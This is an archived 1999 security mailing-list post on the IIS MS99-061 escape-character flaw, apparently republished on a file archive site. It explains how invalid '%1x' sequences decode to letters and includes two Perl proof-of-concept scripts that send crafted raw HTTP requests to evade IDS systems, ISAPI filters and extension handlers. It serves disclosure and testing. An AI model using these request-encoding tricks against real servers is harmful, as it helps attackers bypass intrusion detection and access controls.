what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ms99-061.info.txt

ms99-061.info.txt
Posted Dec 30, 1999
Authored by rain forest puppy

More information on the vulnerability described in ms99-061, a problem in IIS that causes it to parse invalid escape sequences, allowing a carefully made string to bypass IDS systems, ISAPI filters, and extension handlers. Includes a perl script to test for vulnerability.

tags | perl
SHA-256 | ef40568ad6b25c2ee06d8471ee964346dcb723886938cecd3b91cb78e396a9a0

ms99-061.info.txt

Change Mirror Download
---------- Forwarded message ----------
Date: Wed, 29 Dec 1999 21:39:29 -0600 (EST)
From: ".rain.forest.puppy." <rfp@wiretrip.net>
To: bugtraq@securityfocus.com, vacuum@technotronic.com,
win2ksecadvice@listserv.ntsecurity.net
Subject: More info on MS99-061 (IIS escape character vulnerability)


I found myself curious on the exact happenings of this vulnerability, so I
decided to look into it further. Who knows, maybe another anti-IDS tactic
for whisker. :)

Anyways, the problem is that IIS parses invalid hex escape sequences. For
instance, %ff, %9a, and %0d are valid since FF, 9A, and 0D are valid
hexidecimal numbers. To be valid, it must be two chars only using the
digits A-Z, a-z, and 0-9. However, IIS was also allowing things such as
%qj, %0z, and %g4, which are not valid hexidecimal values.

So what I did was set out on a quest to find out what parses to what. I
came up with a rough table of mappings. The results come from submitting
'%1?', where '?' is the character who's ascii value is represented below:

87 -> 0 137 -> i
88 -> 1 138 -> j
89 -> 2 139 -> k
90 -> 3 140 -> l
91 -> 4 141 -> m
92 -> 5 142 -> n
93 -> 6 143 -> o
94 -> 7 144 -> p
95 -> 8 145 -> q
96 -> 9 146 -> r
129 -> a 147 -> s
130 -> b 148 -> t
131 -> c 149 -> u
132 -> d 150 -> v
133 -> e 151 -> w
134 -> f 152 -> x
135 -> g 153 -> y
136 -> h 154 -> z

This table was generated using the first included perl program (below).
Now, to test it, I used the second perl program included below to make a
substituted request for 'default.asp'. The important portion of the perl
program is:

$str="%1" . chr(132); # d
$str.="%1". chr(133); # e
$str.="%1". chr(134); # f
$str.="%1". chr(129); # a
$str.="%1". chr(149); # u
$str.="%1". chr(140); # l
$str.="%1". chr(148); # t
$str.='.';
$str.="%1". chr(129); # a
$str.="%1". chr(147); # s
$str.="%1". chr(144); # p

Here we see the request is made up of nothing bug '%1?', where ? is the
corresponding ascii character. End result? It works.

What does this allow you to bypass? My guess is anything that plays or
needs the raw filename or request. ISAPI filters and extension handlers
come to mind. Who, what, where, and how are application specific.

Just a little bit of geek info. I saw enough 'can we get more information
on this' posts that I thought I could shed a little more light on the
subject. It was tough tho, with the depth of Microsoft's explanation in
their advisories. :)

rain forest puppy
rfp@wiretrip.net / www.wiretrip.net/rfp/

-----------------------------------------------------------------

#!/usr/bin/perl
$|=1; use Socket;
$inet=inet_aton('10.0.0.1'); # webserver to test
@DXX=(); $val=0;

while($val++ < 255){
$cval="\%1".chr($val);
sendraw("GET /$cval.idc HTTP/1.0\n\n");
foreach $line (@DXX){
if($line=~/query file <b>\/([a-zA-Z0-9]+).idc<\/b>/){
print "$val -> $1\n"; last;}}}

sub sendraw { my ($pstr)=@_;
$PROTO=getprotobyname('tcp')||0;
if(!(socket(S,PF_INET,SOCK_STREAM,$PROTO))){ die("socket");}
if(connect(S,pack "SnA4x8",2,80,$inet)){
select(S); $|=1;
print $pstr; @DXX=<S>;
select(STDOUT); close(S);
return;
} else { die("not responding"); }}


-----------------------------------------------------------------------

#!/usr/bin/perl
$|=1; use Socket;
$inet=inet_aton('10.0.0.1'); # webserver to test
@DXX=(); $val=0;

$str="%1".chr(132); # d
$str.="%1".chr(133); # e
$str.="%1".chr(134); # f
$str.="%1".chr(129); # a
$str.="%1".chr(149); # u
$str.="%1".chr(140); # l
$str.="%1".chr(148); # t
$str.='.';
$str.="%1".chr(129); # a
$str.="%1".chr(147); # s
$str.="%1".chr(144); # p

sendraw("GET /$str HTTP/1.0\n\n");
print @DXX;

sub sendraw { # raw network functions stay in here
my ($pstr)=@_;
$PROTO=getprotobyname('tcp')||0;
if(!(socket(S,PF_INET,SOCK_STREAM,$PROTO))){ die("socket");}
if(connect(S,pack "SnA4x8",2,80,$inet)){
select(S); $|=1;
print $pstr; @DXX=<S>;
select(STDOUT); close(S);
return;
} else { die("not responding"); }}



Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close